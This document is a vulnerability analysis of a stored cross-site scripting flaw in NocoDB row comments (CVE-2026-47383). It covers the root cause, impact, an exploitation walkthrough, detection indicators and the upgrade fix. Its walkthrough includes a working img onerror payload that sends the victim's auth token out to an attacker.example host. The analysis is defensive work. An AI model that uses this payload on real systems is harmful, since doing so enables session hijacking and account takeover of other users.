CVE-2026-47383: 
JavaScript vulnerability analysis and mitigation

CVE-2026-47383 is a stored Cross-Site Scripting (XSS) vulnerability in NocoDB, an open-source platform for building databases as spreadsheets. An authenticated user with comment permissions can store malicious HTML in row comments that executes as script when other users hover over the comment in the expanded form view. All NocoDB versions up to and including 2026.05.0 (npm package) are affected; the vulnerability was fixed in version 2026.05.1. It was published on June 4–5, 2026, and carries a CVSS v4.0 base score of 7.4 (High) (GitHub Advisory, Github Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), arising from two compounding flaws: the comment write paths persisted raw comment bodies with no server-side sanitization, and the expanded-form sidebar fed stored content into Tippy's data-tooltip attribute with allowHTML: true enabled. Even when the client-side editor stripped <script> tags at write time, attribute-level payloads (e.g., event handler attributes like onmouseover) bypassed this filter and re-entered the DOM as live HTML upon hover. Exploitation requires the attacker to be authenticated with comment-write permissions, and a victim must hover over the malicious comment in the expanded row view (GitHub Advisory, Github Advisory).

Successful exploitation results in arbitrary JavaScript execution within the NocoDB origin in the context of the victim's browser session. The injected script can read the victim's authentication JWT from localStorage, enabling session hijacking and full account takeover. Any user who views the affected row and hovers over the poisoned comment is at risk, potentially exposing all data accessible to that user's account (GitHub Advisory).

1. Gain authenticated access: Obtain a NocoDB account with at least comment-write permissions on a shared database table running version ≤ 2026.05.0.
2. Craft a malicious comment payload: Compose a row comment containing an attribute-level XSS payload that bypasses client-side <script> tag stripping — for example, an HTML element with an event handler: <img src=x onerror="fetch('https://attacker.example/steal?t='+localStorage.getItem('nocodb-token'))">.
3. Post the comment: Submit the crafted comment on a target row. The server persists the raw HTML without sanitization.
4. Wait for victim interaction: When another authenticated user opens the expanded form view for that row and hovers over the comment, Tippy renders the stored HTML via data-tooltip with allowHTML: true, triggering the injected event handler.
5. Harvest session token: The executed script reads the victim's auth JWT from localStorage and exfiltrates it to an attacker-controlled endpoint, enabling session hijacking and full account takeover (GitHub Advisory).

• Logs: NocoDB API access logs showing POST requests to comment endpoints (e.g., /api/v1/db/data/.../comments) containing HTML attribute payloads (e.g., onerror=, onmouseover=, src=x) in the request body.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after viewing NocoDB row comments, potentially carrying URL-encoded token parameters (e.g., ?t=eyJ...).
• Browser/Application: Unexpected JavaScript errors or network requests originating from the NocoDB origin in browser developer tools when hovering over row comments in expanded form view.
• File System / Storage: Stored comment records in the NocoDB database containing raw HTML tags or event handler attributes rather than plain text or sanitized markup.

NocoDB has released version 2026.05.1 (npm package) which fixes this vulnerability by implementing server-side sanitization of comment bodies and removing the allowHTML: true configuration from Tippy tooltip rendering. Users should upgrade to 2026.05.1 or later immediately. No official configuration-based workaround is available for unpatched versions; as an interim measure, administrators may consider restricting comment permissions to trusted users only until the upgrade can be applied (GitHub Advisory, Github Advisory).

The vulnerability was independently reported by two researchers, @DavidCarliez and @Mouhebbenelwafi, and was published by NocoDB maintainer @mertmit via GitHub Security Advisories on June 4, 2026. No significant broader media coverage or notable public researcher commentary beyond the advisory itself has been identified (GitHub Advisory).